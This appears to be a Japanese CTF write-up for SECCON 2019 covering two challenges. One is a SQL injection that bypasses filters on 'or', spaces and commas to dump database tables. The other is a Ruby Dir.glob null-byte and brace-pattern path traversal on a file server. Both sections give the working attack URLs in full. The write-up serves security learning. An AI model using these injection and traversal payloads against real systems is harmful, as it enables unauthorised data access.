2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

SECCON 2019 Online CTF Write-up

Last updated at Posted at 2019-10-20

今年も SECCON 2019 Online CTF に参加しました。

自分は web_search (212 pt) と fileserver (345 pt) を解いたのでその Write-up を書きます。

web_search

いかにも SQLi できそうな感じの Web サイト

image.png

やることは UNION Based SQLi なのですが、いくつか制約があります。

  • or という文字列が取り除かれる
  • スペースが使えない
  • カンマ , が使えない

一つ目の or が使えないのは oorr に置き換えればバイパスできます。
二つ目のスペースが使えない問題は、いくつか対応法があるみたいですが、自分は %0b (タブ文字)で代用しました。

ここまでで、UNION する際に必要なカラム数は取得できます。

http://web-search.chal.seccon.jp/?q=' %0b OORRDER %0b BY %0b 3 ;#

ORDER BY の値を 1, 2, ... と増やしていった結果、4 でエラーが発生したのでカラム数は 3 だとわかります。

さて、三つ目のカンマが使えない問題ですが、https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ を参考にするとバイパスできることがわかりました。

あとはいつも通りで、まずは information_schema から必要な情報を SQLi で抜き出します。

http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b table_name %0b FROM %0b infoorrmation_schema.tables)b %0b JOIN %0b (SELECT %0b 2)c;#
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b column_name %0b FROM %0b infoorrmation_schema.columns %0b WHERE %0b table_name %0b = %0b 'flag')b %0b JOIN %0b (SELECT %0b 2)c;#

flag テーブルから FLAG を抜き出します。

http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b piece %0b FROM %0b seccon_sqli.flag)b %0b JOIN %0b (SELECT %0b 2)c;#

これで FLAG が手に入るかと思ったら、一部( You_Win_Yeah} )しか手に入らなかった。
仕方ないので、 articles テーブルの方も見てみる。

http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b column_name %0b FROM %0b infoorrmation_schema.columns %0b WHERE %0b table_name %0b = %0b 'articles')b %0b JOIN %0b (SELECT %0b 2)c;#
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b description %0b FROM %0b seccon_sqli.articles)b %0b JOIN %0b (SELECT %0b 2)c;#

前半部分( SECCON{Yeah_Sqli_Success_ )が手に入り、繋げると FLAG になる。

SECCON{Yeah_Sqli_Success_You_Win_Yeah}

fileserver

Ruby の標準ライブラリ WEBrick で Web サーバが立ち上がっている。

image.png

req.path の最後が / の場合、そのディレクトリ配下のファイルの一覧が返ってきます。

files = Dir.glob(".#{req.path}*")

そうでない場合、マッチしたファイルの中身が返ってきます。

matches = Dir.glob(req.path[1..])
file = File.open(matches.first, 'rb')
res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
res.body = file.read(1e6)

FLAG は /tmp/flags/#{SecureRandom.alphanumeric(32)}.txt にあるので、ディレクトリトラバーサルする必要があります。

FileUtils.cp('flag.txt', "/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt")

解答

Dir.glob() ですが、 docs.ruby-lang.org を見ると次のように書いてあります。

パターンを文字列で指定します。 パターンを "\0" で区切って 1 度に複数のパターンを指定することもで きます。 パターンの区切りには "\0" のみ指定できます。 配列を指定することで複数のパターンを指定できます。

よって、以下のようにすると /tmp/flags/* のファイル一覧を返してくれます。

http://fileserver.chal.seccon.jp:9292/hoge\0/tmp/flags/

FLAG のファイル名が手に入ったので、同様にファイルの中身を取得しようとすると、以下の箇所でエラー(ヌル文字が含まれているという内容)が発生します。

res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]

パスのチェックを行う is_bad_path メソッドをうまくバイパスすると FLAG が手に入る。
[{ の優先順位の違いから、[ を使うと {} が使える)

http://fileserver.chal.seccon.jp:9292/{/tmp/flags/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.txt,[}
SECCON{You_are_the_Globbin'_Slayer}
2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?